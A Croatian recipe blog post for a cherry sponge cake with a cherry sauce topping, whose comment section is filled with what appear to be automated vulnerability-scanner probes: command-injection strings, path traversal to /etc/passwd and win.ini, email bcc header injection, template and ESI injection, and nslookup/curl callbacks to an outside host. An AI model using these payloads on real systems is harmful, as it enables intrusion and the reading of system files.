Ovaj jednostavni kolač sigurno ste svi jeli u nekoj od brojnih kombinacija. Za njegovu pripremu ne treba ni puno vremena ni velika vještina u kuhinji. Ja sam ga pripremila s višnjama ali možete koristiti i neko drugo voće.
Iako se klasični glajgeviht ne poslužuje s preljevom, ja sam ubrala malo više višanja pa sam i njih iskoristila.
Uobičajeno je ovaj kolač peći u većem limu da bude niži, ali ja sam ga pekla u limu 35 x 22 cm baš zbog toga da ga mogu poslužiti s preljevom.
Sastojci:
tijesto
6 jaja
300 g šećera
2 vrećice vanilin šećera ili malo domaćeg ekstrakta od vanilije
200 g maslaca (sobne temperature)
12 žlica vruće vode
300 g glatkog brašna
10 g praška za pecivo
oko 500 g višanja
preljev
200 ml soka od višanja
1 žlica šećera
1 puna žličica gustina
150 g višanja
Priprema:
Odvojiti bjelanjke i žumanjke.
Bjelanjke mikserom izraditi u čvrst snijeg. Uz stalno miješanje dodati šećer (malo po malo), zatim žumanjke, vanilin šećer, vruću vodu i maslac. Ugasiti mikser.
U brašno umiješati prašak za pecivo, pa lagano pjenjačom umiješati u smjesu s jajima.
Višnje oprati, očistiti, posuti s malo oštrog brašna i promiješati.
Lim za pečenje namazati maslacem i posuti brašnom.
Smjesu za tijesto izliti u pripremljeni lim, dodati višnje i staviti u vruću pećnicu. Peći oko 40 minuta na 180°C.
Pripremiti preljev - u sok od višanja dodati žlicu šećera i zagrijati. Kada prokuha dodati gustin pomiješan s malo vode i kuhati, uz miješanje, oko 5 minuta na laganoj vatri. Dodati očišćene višnje i još kratko prokuhati. Preljev prije posluživanja ohladiti.
COOKAM & GUSTAM
Komentari
Dodaj komentar555
ghovjnjv 20.11.2023 23:24
1l0yxQZeAO
ghovjnjv 20.11.2023 23:24
555
1CPhVG7mzzO 20.11.2023 23:24
echo fybapb$()\ sjyowk\nz^xyu||a #' &echo fybapb$()\ sjyowk\nz^xyu||a #|" &echo fybapb$()\ sjyowk\nz^xyu||a #
ghovjnjv 20.11.2023 23:24
555
bcc:074625.146-489329.146.0d80a.19681.2@bxss.me
ghovjnjv 20.11.2023 23:24
response.write(9613577*9752775)
ghovjnjv 20.11.2023 23:24
RMsSeupy
ghovjnjv 20.11.2023 23:24
../../../../../../../../../../../../../../etc/passwd
ghovjnjv 20.11.2023 23:24
&echo hvkpbs$()\ guoitx\nz^xyu||a #' &echo hvkpbs$()\ guoitx\nz^xyu||a #|" &echo hvkpbs$()\ guoitx\nz^xyu||a #
ghovjnjv 20.11.2023 23:24
to@example.com>
bcc:074625.146-489330.146.0d80a.19681.2@bxss.me
ghovjnjv 20.11.2023 23:24
12345'"\'\");|]*{
ghovjnjv 20.11.2023 23:24
555&echo zantbm$()\ cuaugf\nz^xyu||a #' &echo zantbm$()\ cuaugf\nz^xyu||a #|" &echo zantbm$()\ cuaugf\nz^xyu||a #
ghovjnjv 20.11.2023 23:24
../../../../../../../../../../../../../../windows/win.ini
ghovjnjv 20.11.2023 23:24
'+response.write(9613577*9752775)+'
ghovjnjv 20.11.2023 23:24
555
8hzKCDth 20.11.2023 23:24
|echo whklcf$()\ dpaxnr\nz^xyu||a #' |echo whklcf$()\ dpaxnr\nz^xyu||a #|" |echo whklcf$()\ dpaxnr\nz^xyu||a #
ghovjnjv 20.11.2023 23:24
file:///etc/passwd
ghovjnjv 20.11.2023 23:24
555
ghovjnjv bcc:074625.146-489333.146.0d80a.19681.2@bxss.me 20.11.2023 23:24
555|echo vtgcsw$()\ ysgytt\nz^xyu||a #' |echo vtgcsw$()\ ysgytt\nz^xyu||a #|" |echo vtgcsw$()\ ysgytt\nz^xyu||a #
ghovjnjv 20.11.2023 23:24
"+response.write(9613577*9752775)+"
ghovjnjv 20.11.2023 23:24
555
to@example.com> bcc:074625.146-489334.146.0d80a.19681.2@bxss.me 20.11.2023 23:24
(nslookup -q=cname hitlvgpamjxhx2a72a.bxss.me||curl hitlvgpamjxhx2a72a.bxss.me))
ghovjnjv 20.11.2023 23:24
555
ghovjnjv 20.11.2023 23:24
${9999690+9999718}
ghovjnjv 20.11.2023 23:24
$(nslookup -q=cname hitsnybkgupup6d0b2.bxss.me||curl hitsnybkgupup6d0b2.bxss.me)
ghovjnjv 20.11.2023 23:24
../555
ghovjnjv 20.11.2023 23:24
555
ghovjnjv<esi:include src="http://bxss.me/rpb.png"/> 20.11.2023 23:24
555
${9999680+9999708} 20.11.2023 23:24
&nslookup -q=cname hitjksskyjoeq2dc6c.bxss.me&'\"`0&nslookup -q=cname hitjksskyjoeq2dc6c.bxss.me&`'
ghovjnjv 20.11.2023 23:24
555
ghovjnjv 20.11.2023 23:24
555
12345'"\'\");|]* { <